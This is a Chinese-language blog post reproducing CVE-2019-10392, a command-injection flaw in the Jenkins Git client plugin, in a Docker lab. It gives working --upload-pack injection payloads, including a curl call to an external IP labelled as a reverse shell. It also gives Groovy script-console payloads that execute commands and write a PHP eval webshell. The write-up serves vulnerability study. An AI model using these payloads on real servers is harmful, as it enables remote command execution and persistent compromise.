Twosmi1e's Blog.

CVE-2019-10392:Jenkins Git client插件RCE复现

Word count: 574 / Reading time: 2 min
2019/10/16 Share

漏洞描述

https://jenkins.io/security/advisory/2019-09-12/
Git客户端插件接受用户指定的值作为git ls-remote调用的参数,以验证指定URL处是否存在Git存储库。 这种方式允许具有Job / Configure权限的攻击者,以运行Jenkins进程的OS用户的权限在Jenkins主服务器上执行任意系统命令。当以root权限运行Jenkins时,攻击者将会通过攻击得到root权限。

影响范围

Git client Plugin <= 2.8.4

环境搭建

使用docker搭建

1
2
3
4
docker search jenkins
docker pull jenkins/jenkins
映射8080端口
docker run -d -p 8080:8080 -p 50000:50000 jenkins/jenkins

访问IP:8080后需要输入密码
进入容器获取密码

1
2
docker exec -it 79931fdd69d5 /bin/bash
jenkins@79931fdd69d5:/$ cat /var/jenkins_home/secrets/initialAdminPassword

开始安装
Alt text
安装完成后会让你创建用户,随便创建一个后进入界面。
Alt text
选择Manage来新建用户
Alt text
创建一个非管理员用户并在Configure Global Security里给予如图权限
Alt text
下载漏洞版本插件
http://updates.jenkins-ci.org/download/plugins/git-client/2.8.2/git-client.hpi
http://updates.jenkins-ci.org/download/plugins/git/3.12.0/git.hpi
将两个插件上传
Alt text
安装完成后重启Alt text
Alt text

漏洞利用

登录创建的非管理用户
创建一个流水线任务

在连接git仓库处输入payload
Alt text

1
--upload-pack="`ls`"

反弹一个shell

1
--upload-pack="`curl http://106.54.229.29:9999`"

Alt text

漏洞分析

查看文档https://git-scm.com/docs/git-ls-remote.html
Alt text
在远程主机上指定git-upload-pack的完整路径。 这允许列出通过SSH访问的存储库中的引用,并且SSH守护程序不使用用户配置的PATH。由此可以在服务器上执行任意命令。

小结

实际上是一个比较鸡肋的洞,服务器上必须要低版本插件,并且配合弱口令或者未授权才能进入后台利用。

其实在后台有个地方能直接执行命令
http://ip:port/script下面有脚本命令行,属于Jenkins正常功能,利用这个功能可以执行系统命令,配合未授权更方便。
Alt text
payload:

1
2
3
4
5
6
println("id".execute().getText())

new File("/var/www/html/media.php").write('<?php @eval($_POST[test]);?>');

def webshell = '<?php @eval($_POST[test]);?>'
new File("/var/www/html/media.php").write("$webshell");

CATALOG
  1. 1. 漏洞描述
  2. 2. 影响范围
  3. 3. 环境搭建
  4. 4. 漏洞利用
  5. 5. 漏洞分析
  6. 6. 小结